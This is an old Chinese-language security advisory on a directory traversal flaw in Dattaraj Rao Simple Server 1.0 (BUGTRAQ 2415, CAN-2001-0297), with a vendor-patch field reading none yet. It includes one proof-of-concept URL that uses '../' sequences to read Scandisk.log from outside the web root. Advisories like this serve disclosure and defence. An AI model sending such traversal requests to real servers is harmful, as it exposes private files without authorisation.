发布日期：2001-03-06
更新日期：2001-03-06

受影响系统：

    Dattaraj Rao Simple Server 1.0

描述：

---

BUGTRAQ  ID: 2415
CVE(CAN) ID: CAN-2001-0297
  
在提交给Simple Server（http://dattaraj_rao.tripod.com/Java/）的HTTP
请求中插入“/../“序列，可以访问WEB目录之外的文件。

<* 来源：slipy (slipy@b10z.net) *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

读取Scandisk.log文件：
http://www.VULNERABLE.com/../../../../Scandisk.log


建议：

---

厂商补丁：

    暂无。


浏览次数：3843
严重程度：0（网友投票）